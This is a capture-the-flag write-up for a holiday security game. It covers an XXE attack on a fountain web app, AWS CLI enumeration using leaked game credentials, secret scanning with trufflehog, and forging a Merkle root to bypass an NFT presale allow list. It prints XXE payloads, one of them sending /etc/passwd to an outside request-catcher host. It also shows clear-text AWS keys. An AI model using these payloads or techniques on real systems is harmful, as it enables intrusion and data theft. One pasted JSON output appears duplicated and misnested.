Interesting thing that when the PATH and APP keyword are shown, the image of an eye is shown and its path is: https://glamtarielsfountain.com/static/images/stage2ring-eyecu_2022.png. The image of Glamtariel and the fountain are in the same folder: https://glamtarielsfountain.com/static/images/2022_glamtariel_2022.png, https://glamtarielsfountain.com/static/images/2022_icefountain_2022.png.

The Eye
The Eye

Let’s have a look at a call when an image is dragged and dropped:

Burp - drag & drop
Burp - drag & drop

We have many info here:

  • the endpoint is /dropped

  • the payload is a JSON object that contains the name of the image dropped, the character on which it’s dropped on (princess or fountain) and the type of the request (json).

  • the header X-Grinchum that contains a CSRF token. We break the call as soon as we tamper it. We get the following response and image:

    {
      “appResp”: “Trying to TAMPER with Kringle’s favorite cookie recipe or the entrance tickets can’t help you Grinchum! I’m not sure what you are looking for but it isn’t here! Get out!^Miserable trickster! Please click him out of here.”,
      “droppedOn”: “none”,
      “visit”: “static/images/grinchum-supersecret_9364274.png,265px,135px”
    }

    Grinchum
    Grinchum

    We have then to reset the website and start over.

  • Playing with the cookie MiniLembanh seems to lead to the same results as the CSRF token

By playing with some values in the payload, we get that:

  • imgDrop must be an existing image
  • who only accepts the princess and fountain
  • reqType accepts json and xml. The message we get when using XML is “We don’t speak that way very often any more. Once in a while perhaps, but only at certain times.^I don’t hear her use that very often. I think only for certain TYPEs of thoughts.”

Let’s try to change the whole payload to XML:

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8" ?>
<root>
  <imgDrop>img3</imgDrop>
  <who>princess</who>
  <reqType>xml</reqType>
</root>

We need to change as well the Content-Type header to application/xml and we get a new message from the princess:

Burp - XML payload
Burp - XML payload

If we try on the fountain we get the message “I’m one of the few who can discuss anything using that TYPE of language.^Yeah, I can understand a bit, but not communicate with it at all.”. So let’s continue with the princess. We can now definitely try to exploit some XXE vulnerability.

Let’s try some XXE payloads. This will probably be a blind XXE as there is no field that could display any value back. The who value was returned in the answer with JSON payloads but with XML’s, only none is returned. We can use any service to catch the webserver call (e.g. ngrok, requestcatcher.com)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<?xml version="1.0" ?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
<!ENTITY blind SYSTEM "https://noobintheshell.requestcatcher.com/%xxe;">]>
<root>
  <foo>&blind;</foo>
  <imgDrop>img3</imgDrop>
  <who>princess</who>
  <reqType>xml</reqType>
</root>

But no answer.

Glamtariel accepts images (or generic files) as input and will comment it. What if we try to send her an image we saw earlier? The only missing piece is the website document root. However, in the hints above, we have APP which could be it. Let’s try:

1
2
3
4
5
6
7
8
9
<?xml version="1.0" ?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///app/static/images/stage2ring-eyecu_2022.png" >]>
<root>
  <imgDrop>&xxe;</imgDrop>
  <who>princess</who>
  <reqType>xml</reqType>
</root>

We get the following answer “Sorry, we dont know anything about that.^Sorry, we dont know anything about that.”. We tried other existing images with the same result. After a few tries and errors, and knowing that we are looking for a RINGLIST file that has a SIMPLE FORMAT, we found the right file and path: /app/static/images/ringlist.txt. When we submit that in the payload:

1
2
3
4
5
6
7
8
9
<?xml version="1.0" ?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///app/static/images/ringlist.txt" >]>
<root>
  <imgDrop>&xxe;</imgDrop>
  <who>princess</who>
  <reqType>xml</reqType>
</root>

We get the following answer:

{
  “appResp”: “Ah, you found my ring list! Gold, red, blue - so many colors! Glad I don’t keep any secrets in it any more! Please though, don’t tell anyone about this.^She really does try to keep things safe. Best just to put it away. (click)”,
  “droppedOn”: “none”,
  “visit”: “static/images/pholder-morethantopsupersecret63842.png,262px,100px”
}

The image is:

hidden folder
hidden folder

We can read the name of a folder x_phial_pholder_2022 and 2 files, bluering.txt and redring.txt. Using the same payload, let’s share those 2 files with Glamtariel and see her answer:

  • /app/static/images/x_phial_pholder_2022/bluering.txt
    “I love these fancy blue rings! You can see we have two of them. Not magical or anything, just really pretty.^She definitely tries to convince everyone that the blue ones are her favorites. I’m not so sure though.”

  • /app/static/images/x_phial_pholder_2022/redring.txt
    “Hmmm, you still seem awfully interested in these rings. I can’t blame you, they are pretty nice.^Oooooh, I can just tell she’d like to talk about them some more.”

Nothing new here. We try to discover other ring colors and we get a hit with silverring:

  • /app/static/images/x_phial_pholder_2022/silverring.txt
{
  “appResp”: “I’d so love to add that silver ring to my collection, but what’s this? Someone has defiled my red ring! Click it out of the way please!.^Can’t say that looks good. Someone has been up to no good. Probably that miserable Grinchum!”,
  “droppedOn”: “none”,
  “visit”: “static/images/x_phial_pholder_2022/redring-supersupersecret928164.png,267px,127px”
}
Red Ring
Red Ring

We can read on the ring: goldring_to_be_deleted.txt. So we give that to Glamtariel again:

  • /app/static/images/x_phial_pholder_2022/goldring_to_be_deleted.txt
    “Hmmm, and I thought you wanted me to take a look at that pretty silver ring, but instead, you’ve made a pretty bold REQuest. That’s ok, but even if I knew anything about such things, I’d only use a secret TYPE of tongue to discuss them.^She’s definitely hiding something.”

We get 2 new hints in capital letters, REQ and TYPE. The message seems to mention that we need to change the injection point to the reqType value now. So we try the payload:

1
2
3
4
5
6
7
8
9
<?xml version="1.0" ?>
<!DOCTYPE foo[
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///app/static/images/x_phial_pholder_2022/goldring_to_be_deleted.txt" >]>
<root>
  <imgDrop>img1</imgDrop>
  <who>princess</who>
  <reqType>&xxe;</reqType>
</root>

And we get…nothing. We have to choose the silver ring as input image, which is img1! And we get the final response:

{
  “appResp”: “No, really I couldn’t. Really? I can have the beautiful silver ring? I shouldn’t, but if you insist, I accept! In return, behold, one of Kringle’s golden rings! Grinchum dropped this one nearby. Makes one wonder how ‘precious’ it really was to him. Though I haven’t touched it myself, I’ve been keeping it safe until someone trustworthy such as yourself came along. Congratulations!^Wow, I have never seen that before! She must really trust you!”,
  “droppedOn”: “none”,
  “visit”: “static/images/x_phial_pholder_2022/goldring-morethansupertopsecret76394734.png,200px,290px”
}
Gold Ring
Gold Ring

Answer: goldring-morethansupertopsecret76394734.png

4 - Recover the Cloud Ring


4.1 AWS CLI Intro

Difficulty Objective Location
1/5 Try out some basic AWS command line skills in this terminal. Talk to Jill Underpole in the Cloud Ring for hints. Cloud Ring

This is not a real challenge but more an introduction to aws cli. We need to follow what is shown in the terminal. After reading the output of aws help, we are asked to configure come credentials for the CLI.

The credentials are configured as follows:

$ aws configure
AWS Access Key ID [None]: AKQAAYRKO7A5Q5XUY2IY
AWS Secret Access Key [None]: qzTscgNdcdwIo/soPKPoJn9sBrl5eMQQL19iO5uf
Default region name [None]: us-east-1
Default output format [None]:

The result is a ~/.aws/config file that contains:

[default]
region = us-east-1

and a ~/.aws/credentials that contains our credentials in clear…not very secure:

[default]
aws_access_key_id = AKQAAYRKO7A5Q5XUY2IY
aws_secret_access_key = qzTscgNdcdwIo/soPKPoJn9sBrl5eMQQL19iO5uf

It would be better to use a more secure way to store credentials, like using aws-vault and store credentials in an encrypted key vault.

$ aws sts get-caller-identity
{
  “UserId”: “AKQAAYRKO7A5Q5XUY2IY”,
  “Account”: “602143214321”,
  “Arn”: “arn:aws:iam::602143214321:user/elf_helpdesk”
}

This command is used to check what user or role we have assumed with our credentials.

Difficulty Objective Location
2/5 Use Trufflehog to find secrets in a Git repo. Work with Jill Underpole in the Cloud Ring for hints. What’s the name of the file that has AWS credentials? Cloud Ring

For this challenge we are given a Git repository and we have to use trufflehog to look for secrets that could have been commit.
We first install trufflehog (we need to have Go installed):

$ git clone https://github.com/trufflesecurity/trufflehog.git
$ cd trufflehog
$ go install

Then we can use the tool pointing directly to the repository http://haugfactory.com/orcadmin/aws_scripts.git. We get a few results but only the first one interests us and is a true positive:

trufflehog git http://haugfactory.com/orcadmin/aws_scripts.git
trufflehog git http://haugfactory.com/orcadmin/aws_scripts.git

If we have already cloned the repository, we could use the following command to achieve the same result:

$ trufflehog git file://aws_scripts

The secret is in the file put_policy.py and we can see it in the commit 106d33e1ffd53eea753c1365eafc6588398279b5 as follows:

git show 106d33e1ffd53eea753c1365eafc6588398279b5
git show 106d33e1ffd53eea753c1365eafc6588398279b5

Answer: put_policy.py

4.3 Exploitation via AWS CLI

Difficulty Objective Location
3/5 Flex some more advanced AWS CLI skills to escalate privileges! Help Gerty Snowburrow in the Cloud Ring to get hints for this challenge. Cloud Ring

We will be re-using the credentials found in the previous challenge to go through another series of questions using AWS CLI.

This is the same step as we did in a previous challenge:

$ aws configure
AWS Access Key ID [None]: AKIAAIDAYRANYAHGQOHD
AWS Secret Access Key [None]: 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
Default region name [None]: us-east-1
Default output format [None]:

Same as previously:

$ aws sts get-caller-identity
{
  “UserId”: “AIDAJNIAAQYHIAAHDDRA”,
  “Account”: “602123424321”,
  “Arn”: “arn:aws:iam::602123424321:user/haug”
}

We are using the credentials of the user haug.

We need to use the command aws iam list-attached-user-policies for this:

$ aws iam list-attached-user-policies --user-name haug
{
  “AttachedPolicies”: [
  {
    “PolicyName”: “TIER1_READONLY_POLICY”,
    “PolicyArn”: “arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY”
  }],
  “IsTruncated”: false
}

The policy TIER1_READONLY_POLICY is attached to our user. This is a custom policy that can be used on other users, groups or roles.

$ aws iam get-policy --policy-arn arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY
{
  “Policy”: {
    “PolicyName”: “TIER1_READONLY_POLICY”,
    “PolicyId”: “ANPAYYOROBUERT7TGKUHA”,
    “Arn”: “arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY”,
    “Path”: “/”,
    “DefaultVersionId”: “v1”,
    “AttachmentCount”: 11,
    “PermissionsBoundaryUsageCount”: 0,
    “IsAttachable”: true,
    “Description”: “Policy for tier 1 accounts to have limited read only access to certain resources in IAM, S3, and LAMBDA.”,
    “CreateDate”: “2022-06-21 22:02:30+00:00”,
    “UpdateDate”: “2022-06-21 22:10:29+00:00”,
    “Tags”: []
  }
}

We only get some metadata on the policy here. The description tells us that it could give us a limited read only access to IAM, S3 and Lambda service.

$ aws iam get-policy-version --policy-arn arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY --version-id v1
{
  “PolicyVersion”: {
    “Document”: {
      “Version”: “2012-10-17”,
      “Statement”: [
      {
        “Effect”: “Allow”,
        “Action”: [
          “lambda:ListFunctions”,
          “lambda:GetFunctionUrlConfig”
        ],
        “Resource”: “*”
      },
      {
        “Effect”: “Allow”,
        “Action”: [
          “iam:GetUserPolicy”,
          “iam:ListUserPolicies”,
          “iam:ListAttachedUserPolicies”
        ],
        “Resource”: “arn:aws:iam::602123424321:user/${aws:username}”
      },
      {
        “Effect”: “Allow”,
        “Action”: [
          “iam:GetPolicy”,
          “iam:GetPolicyVersion”
        ],
        “Resource”: “arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY”
      },
      {
        “Effect”: “Deny”,
        “Principal”: “*”,
        “Action”: [
          “s3:GetObject”,
          “lambda:Invoke*”
        ],
        “Resource”: “*”
      }]
    },
    “VersionId”: “v1”,
    “IsDefaultVersion”: false,
    “CreateDate”: “2022-06-21 22:02:30+00:00”
  }
}

We have the full details of what we are allowed to do. We can:

  • list Lambda all functions and get their function URLs
  • we can view and list the policies attached to our own user
  • we can get the policy details of TIER1_READONLY_POLICY
  • we are explicitely denied to download S3 objects and invoke Lambdas
$ aws iam list-user-policies --user-name haug
{
  “PolicyNames”: [
    “S3Perms”
  ],
  “IsTruncated”: false
}

We have an additional inline policy S3Perms attached. This policy cannot be shared and is automatically deleted if the user is deleted.

$ aws iam get-user-policy --user-name haug --policy-name S3Perms
{
  “UserPolicy”: {
    “UserName”: “haug”,
    “PolicyName”: “S3Perms”,
    “PolicyDocument”: {
      “Version”: “2012-10-17”,
      “Statement”: [
      {
        “Effect”: “Allow”,
        “Action”: [
          “s3:ListObjects”
        ],
        “Resource”: [
          “arn:aws:s3:::smogmachines3”,
          “arn:aws:s3:::smogmachines3/*”
        ]
      }]
    }
  },
  “IsTruncated”: false
}

This policy allows us to list the objects of the S3 bucket smogmachines3.

$ aws s3api list-objects --bucket smogmachines3
{
  “IsTruncated”: false,
  “Marker”: “”,
  “Contents”: [
  {
    “Key”: “coal-fired-power-station.jpg”,
    “LastModified”: “2022-09-23 20:40:44+00:00”,
    “ETag”: “"1c70c98bebaf3cff781a8fd3141c2945"”,
    “Size”: 59312,
    “StorageClass”: “STANDARD”,
    “Owner”: {
      “DisplayName”: “grinchum”,
      “ID”: “15f613452977255d09767b50ac4859adbb2883cd699efbabf12838fce47c5e60”
    }
  },
  {
    “Key”: “industry-smog.png”,
    “LastModified”: “2022-09-23 20:40:47+00:00”,
    “ETag”: “"c0abe5cb56b7a33d39e17f430755e615"”,
    “Size”: 272528,
    “StorageClass”: “STANDARD”,
    “Owner”: {
      “DisplayName”: “grinchum”,
      “ID”: “15f613452977255d09767b50ac4859adbb2883cd699efbabf12838fce47c5e60”
    }
  },
  {
    “Key”: “pollution-smoke.jpg”,
    “LastModified”: “2022-09-23 20:40:43+00:00”,
    “ETag”: “"465b675c70d73027e13ffaec1a38beec"”,
    “Size”: 33064,
    “StorageClass”: “STANDARD”,
    “Owner”: {
      “DisplayName”: “grinchum”,
      “ID”: “15f613452977255d09767b50ac4859adbb2883cd699efbabf12838fce47c5e60”
    }
  },
  {
    “Key”: “pollution.jpg”,
    “LastModified”: “2022-09-23 20:40:45+00:00”,
    “ETag”: “"d40d1db228c9a9b544b4c552df712478"”,
    “Size”: 81775,
    “StorageClass”: “STANDARD”,
    “Owner”: {
      “DisplayName”: “grinchum”,
      “ID”: “15f613452977255d09767b50ac4859adbb2883cd699efbabf12838fce47c5e60”
    }
  },
  {
    “Key”: “power-station-smoke.jpg”,
    “LastModified”: “2022-09-23 20:40:48+00:00”,
    “ETag”: “"2d7a8c8b8f5786103769e98afacf57de"”,
    “Size”: 45264,
    “StorageClass”: “STANDARD”,
    “Owner”: {
      “DisplayName”: “grinchum”,
      “ID”: “15f613452977255d09767b50ac4859adbb2883cd699efbabf12838fce47c5e60”
    }
  },
  {
    “Key”: “smog-power-station.jpg”,
    “LastModified”: “2022-09-23 20:40:46+00:00”,
    “ETag”: “"0e69b8d53d97db0db9f7de8663e9ec09"”,
    “Size”: 32498,
    “StorageClass”: “STANDARD”,
    “Owner”: {
      “DisplayName”: “grinchum”,
      “ID”: “15f613452977255d09767b50ac4859adbb2883cd699efbabf12838fce47c5e60”
    }
  },
  {
    “Key”: “smog-power-station.jpg”,
    “LastModified”: “2022-09-23 20:40:46+00:00”,
    “ETag”: “"0e69b8d53d97db0db9f7de8663e9ec09"”,
    “Size”: 32498,
    “StorageClass”: “STANDARD”,
    “Owner”: {
      “DisplayName”: “grinchum”,
      “ID”: “15f613452977255d09767b50ac4859adbb2883cd699efbabf12838fce47c5e60”
    }
  },
  {
    “Key”: “smogmachine_lambda_handler_qyJZcqvKOthRMgVrAJqq.py”,
    “LastModified”: “2022-09-26 16:31:33+00:00”,
    “ETag”: “"fd5d6ab630691dfe56a3fc2fcfb68763"”,
    “Size”: 5823,
    “StorageClass”: “STANDARD”,
    “Owner”: {
      “DisplayName”: “grinchum”,
      “ID”: “15f613452977255d09767b50ac4859adbb2883cd699efbabf12838fce47c5e60”
    }
  }],
  “Name”: “smogmachines3”,
  “Prefix”: “”,
  “MaxKeys”: 1000,
  “EncodingType”: “url”
}

There are multiple images and what looks like the code of a Lambda function. Unfortunately, we do not have the permission to download them.

$ aws lambda list-functions
{
  “Functions”: [
  {
    “FunctionName”: “smogmachine_lambda”,
    “FunctionArn”: “arn:aws:lambda:us-east-1:602123424321:function:smogmachine_lambda”,
    “Runtime”: “python3.9”,
    “Role”: “arn:aws:iam::602123424321:role/smogmachine_lambda”,
    “Handler”: “handler.lambda_handler”,
    “CodeSize”: 2126,
    “Description”: “”,
    “Timeout”: 600,
    “MemorySize”: 256,
    “LastModified”: “2022-09-07T19:28:23.634+0000”,
    “CodeSha256”: “GFnsIZfgFNA1JZP3TgTI0tIavOpDLiYlg7oziWbtRsa=”,
    “Version”: “$LATEST”,
    “VpcConfig”: {
      “SubnetIds”: [
        “subnet-8c80a9cb8b3fa5505”
      ],
      “SecurityGroupIds”: [
        “sg-b51a01f5b4711c95c”
      ],
      “VpcId”: “vpc-85ea8596648f35e00”
    },
    “Environment”: {
      “Variables”: {
        “LAMBDASECRET”: “975ceab170d61c75”,
        “LOCALMNTPOINT”: “/mnt/smogmachine_files”
      }
    },
    “TracingConfig”: {
      “Mode”: “PassThrough”
      ],
      “SecurityGroupIds”: [
        “sg-b51a01f5b4711c95c”
      ],
      “VpcId”: “vpc-85ea8596648f35e00”
    },
    “Environment”: {
      “Variables”: {
        “LAMBDASECRET”: “975ceab170d61c75”,
        “LOCALMNTPOINT”: “/mnt/smogmachine_files”
      }
    },
    “TracingConfig”: {
      “Mode”: “PassThrough”
    },
    “RevisionId”: “7e198c3c-d4ea-48dd-9370-e5238e9ce06e”,
    “FileSystemConfigs”: [
    {
      “Arn”: “arn:aws:elasticfilesystem:us-east-1:602123424321:access-point/f
sap-db3277b03c6e975d2”,
      “LocalMountPath”: “/mnt/smogmachine_files”
    }],
    “PackageType”: “Zip”,
    “Architectures”: [
      “x86_64”
    ],
    “EphemeralStorage”: {
      “Size”: 512
    }
  }]
}

There is only one function called smogmachine_lambda. The function is written in Python and a secret LAMBDASECRET is configured as environment variable which is a bad practice.

$ aws lambda get-function-url-config --function-name smogmachine_lambda
{
  “FunctionUrl”: “https://rxgnav37qmvqxtaksslw5vwwjm0suhwc.lambda-url.us-east-1.on.aws/",
  “FunctionArn”: “arn:aws:lambda:us-east-1:602123424321:function:smogmachine_lambda”,
  “AuthType”: “AWS_IAM”,
  “Cors”: {
    “AllowCredentials”: false,
    “AllowHeaders”: [],
    “AllowMethods”: [
      “GET”,
      “POST”
    ],
    “AllowOrigins”: [
      "*”
    ],
    “ExposeHeaders”: [],
    “MaxAge”: 0
  },
  “CreationTime”: “2022-09-07T19:28:23.808713Z”,
  “LastModifiedTime”: “2022-09-07T19:28:23.808713Z”
}

Lambda function URLs can be created to invoke Lambdas externally. Here the function can be invoked externally only if we are authenticated using an IAM identity.

5 - Recover the Burning Ring of Fire


5.1 Buy a Hat

Difficulty Objective Location
2/5 Travel to the Burning Ring of Fire and purchase a hat from the vending machine with KringleCoin. Find hints for this objective hidden throughout the tunnels. Burning Ring of Fire

We need to interact with a vending machine and buy a hat with KringleCoins (KC), a custom cryptocurrency. All along the challenges, each time we completed one, we received KringleCoins on the wallet that we had to create before starting the game. There are KTMs (KringleCoin Teller Machines) in some locations that we can use to check the balance of our wallet, to pre-approve a transfer or simply test our wallet secret key.

KringleCoin Teller Machines
KringleCoin Teller Machines

In the hat vending machine, we need to first choose a hat to buy…there are hundreds. Each hat has a cost of 10 KC, an ID and a linked wallet:

Hat vending machine
Hat vending machine

Once we have chosen a hat, we need first to pre-approve the financial transaction in a KTM using the information shown above and our wallet private key:

KTM - Approve Transfer
KTM - Approve Transfer

Now back to the vending machine to finalize the purchase:

Hat vending machine - purchase
Hat vending machine - purchase

We get the hat in our inventory and our avatar can wear it.

5.2 Blockchain Divination

Difficulty Objective Location
4/5 Use the Blockchain Explorer in the Burning Ring of Fire to investigate the contracts and transactions on the chain. At what address is the KringleCoin smart contract deployed? Find hints for this objective hidden throughout the tunnels. Burning Ring of Fire

We have access to a Blockchain Viewer to explore the chain on which all the KringleCoin transactions are held. We can view for instance the 2 transactions that were done to buy our hat. We can see the transfer pre-approval on block 107686:

Transaction - block 107686
Transaction - block 107686

And the actual purchase on block 107693:

Transaction - block 107693
Transaction - block 107693

We see as well that each time we validated a challenge and got KringleCoins, there was a transaction on the user’s wallet:

Transaction - Challenge validation
Transaction - Challenge validation

However, to complete this challenge we only have to answer one question: “At what address is the KringleCoin smart contract deployed?”

As this must have been done at the very beginning of the chain, let’s look for the first blocks. The block 0 does not contain any transaction. But the next block is where the smart contract was deployed.

Transaction - block 1
Transaction - block 1

The smart contract is written in the Solidity language and we can read its source code in the same block. It defines all methods to handle the cryptocurrency transactions:

KringleCoin.sol
KringleCoin.sol

Answer: 0xc27A2D3DE339Ce353c0eFBa32e948a88F1C86554

5.3 Exploit a Smart Contract

Difficulty Objective Location
5/5 Exploit flaws in a smart contract to buy yourself a Bored Sporc NFT. Find hints for this objective hidden throughout the tunnels. Burning Ring of Fire

We have acces to https://boredsporcrowboatsociety.com that is used to sell NFTs.

The Bored Sporc Rowboat Society
The Bored Sporc Rowboat Society

The gallery shows the list of NFTs that have already been purchased, their owner and their current value:

Gallery
Gallery

There is a presale page as well where only a few selected members of the club are able to purchase NFTs at a very low price. In order to verify if we are in the presale list, we need to provide our wallet address and one or more proof values that were given to us. Of course we are not part of the selected ones.

Presale
Presale

The goal of this challenge is to enter the presale approved list and purchase an NFTs at a lower price.

We are given a few hint on how to achieve that:

A Merkle Tree is a hash tree that has multiple use cases but the one that interests us here is to prove that some data is included in a list. All is very well explained in the above links. We understand that the presale allow list verification uses a Merkle Tree to check if our wallet is part of that list.

If we look at the call that is done when we try to verify our wallet, we see that the following payload is sent:

{
  “WalletID”:“0x5E2d75Fe1057066b1Ef4eCA612b526bAfC8C2b0D”,“Root”:“0x52cfdfdcba8efebabd9ecc2c60e6f482ab30bdc6acf8f9bd0600de83701e15f1”,
  “Proof”:“111111111111111111111111111111111”,
  “Validate”:“true”,
  “Session”:“919f7b3a-0ac8-4ce1-b3cb-825421a222a8”
}

The Root value is constant and represents the root value of the calculated Merkle Tree. Basically, the wallets in the allow list and our own wallet are nodes of the hash tree. The root of the tree is calculated with those values and if the result equals the Root value, we are allowed in the list.

As we have the control of this Root value in the verification call, it means that we can:

  • take the wallet address of someone already in the list (e.g the first NFT owner address in the gallery)
  • take our wallet address
  • calculate the resulting root and proof value
  • provide all those information to the webserver!

This Github repository does exactly that, let’s use it!

$ git clone https://github.com/QPetabyte/Merkle_Trees.git
$ cd Merkle_Trees
$ chmod +x merkle_tree.py
$ pip3 install -r requirements.txt

We just need to replace the values in the allowlist list by our 2 values in the merkle_tree.py script:

  • 0x5E2d75Fe1057066b1Ef4eCA612b526bAfC8C2b0D our wallet (make sure to put it first in the list)
  • 0xa1861E96DeF10987E1793c8f77E811032069f8E9 the wallet of someone in the list

We run the script and we get the following result:

Root: 0xdec160a936cf1ca34ce847d53e64de0798963a2285591f246881fb93600c639a
Proof: [‘0x3ca7b0f306be105d5e5b040af0e2bc35fb95026afcd89f726e8e94994c312f79’]

Now we only have to enter our wallet address and the proof in the verification form. Intercept the POST call and replace the Root value with our own to be allowed in the presale list:

Presale allow list
Presale allow list

The last thing to do to be able to purchase our NFT is to go back to a KTM to pre-approve the purchase as explained in the presale webpage. Then back to the presale webpage to finalize the purchase of our very first NFT!

NFT Purchase
NFT Purchase

We can see our transaction in the chain. The block 87391 is the pre-approval:

Blockchain - block 87391
Blockchain - block 87391

The block 87408 is the actual NFT purchase:

Blockchain - block 87408
Blockchain - block 87408

And finally our NTF is:

Purchased NFT
Purchased NFT

Loot Boxes

All along the path to the rings, we can find 6 hidden loot boxes containing additional hints and coins. Here are their location.

Number Location
1
loot box 1
2
loot box 2
3
loot box 3
4
loot box 4
5
loot box 5
6
loot box 6

Christmas Eggs

This year theme is clearly The Lord of the Rings. Therefore, we will keep aside all the references to it, unless they are really well hidden.

Location Egg
Wireshark Practice The initial phishing email phish.odt can be found in /opt.
egg01
Windows Event Logs We can find the content of the file mydiary.txt written by an elf in the logs:

Oct 31 2022
Halloween is the worst holiday ever. Everything is so spooky! And some elves get way too into it, especially Smilegol this year. It’s very unlike him. He’s been acting kind of strange…
P.S.
Don’t tell anybody, but I do like all the tasty candy we get. So I guess Halloween isn’t all that bad.

Nov 25 2022
I love Thanksgiving because it means Christmas is almost here! That’s what I’m thankful for this year… and every year. Smilegol was such a glutton at Thanksgiving dinner. He kept sticking his hand in everyone’s food and yelling ‘MY GERMS!’ and then coughing onto it with that yucky cough he has now. He’s like a whole different elf lately. Everyone is really starting to become worried about him.

Dec 18 2022
Lembanh! Santa wants us to try making some this year. We searched everywhere for this recipe that’s supposed to have the secret ingredient to really make it authentic. It’s gonna be delicious, I’m so excited!
Jolly CI/CD The ecommerce sells the following flags and banners of the many noble houses found in the land of the North:
egg02
egg03
egg04
egg05
egg06
Glamtariel’s Fountain When we ask Glamtariel for the greenring.txt file, we get the answer: “Hey, who is this guy? He doesn’t have a ticket!^I don’t remember seeing him in the movies!” with this image:
egg07
It refers to Tom Bombadil, a Lord of the Rings characters that appears in the books but not in the movies.
Burning Ring of Fire Jason is back:
egg08
Underground A hidden message in the tunnel map:
egg09
Shenanigans Like last year, the Shenanigans room is there and its entrance is hidden behind the castle. The turtle background is still there as well. The image represents Great A’Tuin, the Giant Star Turtle who travels through the Discworld universe’s space.
egg10
But there is something new there this year. The Santa Magic terminal that allows users to retrieve the secret key of their wallet:
egg11
During the convo with Santa, he refers to some characters like Yukon Cornelius, Dolly, Burgermeister Meisterburger and the island of Misfit Toys.
Castle Entry The 4 birds of KringleCon 4:
egg12
Loot Box 5 Dimitri hat:
egg13

Resources

Recover the Tolkien Ring
Recover the Elfen Ring
Recover the Web Ring
Recover the Cloud Ring
Recover the Burning Ring of Fire
Share on

Avatar
WRITTEN BY
noobintheshell
AppSec Engineer and CTFer